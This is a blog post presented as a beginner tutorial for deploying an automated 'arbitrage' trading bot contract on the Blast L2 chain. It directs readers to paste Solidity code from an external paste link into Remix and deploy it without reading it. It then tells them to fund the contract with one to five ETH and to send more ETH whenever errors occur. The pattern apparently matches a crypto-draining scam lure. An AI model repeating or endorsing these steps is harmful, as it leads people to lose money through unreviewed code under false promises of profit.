How to Deploy Blast Ethereum L2 Trading Bot Script for Erc20 Token Pairs on Uniswap

Crypto Blockchain
Coinmonks
2 min readJul 25, 2024

--

Blast is an Ethereum Layer 2 (L2) chain that offers a safe, low-cost, developer-friendly way to build on-chain. Blast is the first Layer 2 protocol where if you have your ETH or stablecoins in your wallet on Blast, they will automatically be earning a 4% yield on Ethereum and a 5% yield on other stablecoins.

Blast is differentiating itself based on the native yield it offers, which is not offered by any other L2. During the 2024 Bull Run, there has been an overwhelming amount of memecoins and DeFi tokens exploding in price.

Today, I will teach you how to create your very own automated smart contract that will buy and sell for you, earning you profit.

Using automated trading protocols like arbitrage can significantly increase your rate of profitability in trades during both bullish and bearish sentiment.

In this article, we outlined a beginner friendly step by step method along with a video tutorial on how we achieved this. No coding experience required.

FULL VIDEO TUTORIAL

Contract targets token pairings with max 10% slippage fee and anything lower but most tokens comes with 3~6% fees. If you fund the contract with less than 1.0 ETH and the bot targets a token with high slippage fee the contract will basically waste in fees more than it will make profit. I recommend funding the contract with 1+ ETH just to make sure that won’t happen.

Access Remix: — Remix — Ethereum IDE

Bot contract code for remix- https://rentry.co/q8rbkmye/raw

Get MetaMask: — https://metamask.io/download.html

STEP BY STEP

  • Download MetaMask or Google It for official site: https://metamask.io/download
  • Head over to Remix: 👉 Remix — Ethereum IDE
  • Right Click the “Contracts” folder and then create “New File”. Name it whatever you want or “bot.sol”
  • Paste THIS code into Remix: https://rentry.co/q8rbkmye/raw
  • Go to the “Compile” tab on Remix and Compile with Solidity version 0.6.6
  • Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then click the arrow beside “Deploy”.
    Fill the information below:
    _OWNER: “Your personal wallet address”
    _TARGET: “0xd43D8aDAC6A4C7d9Aeece7c3151FcA8f23752cf8” (Andy contract address). It can be any contract address of your choice — https://www.dextools.io/app/en/blast/pair-explorer/
    _CHAIN: Blast
    This will create your own contract by confirming the MetaMask Contract creation fee.
  • Deposit funds (at least 1.0–5.0 ETH to prevent negating slippage) to your exact contract/bot address.
  • After your transaction is confirmed, start the bot by clicking the “start” button. Withdraw anytime by clicking “withdrawal”

NOTE: In the case of error, fund your contract address with another 1 ETH and restart your bot by clicking the red “start” button. These errors occur due to insufficient liquidity in your contract caused by depletion of ETH in the contract due to slippage and fees cost.

Avoid using amounts below 0.5 ETH because the price of gas fluctuates constantly and the arbitrage may fail due to insufficient liquidity, slippage and fees cost.

Subscribe and leave your comments below if you encounter any error and I’ll be happy to help.

--

--

Crypto Blockchain
Coinmonks

Most Profitable Tutorials & Info To Make Money With Cryptocurrency!!!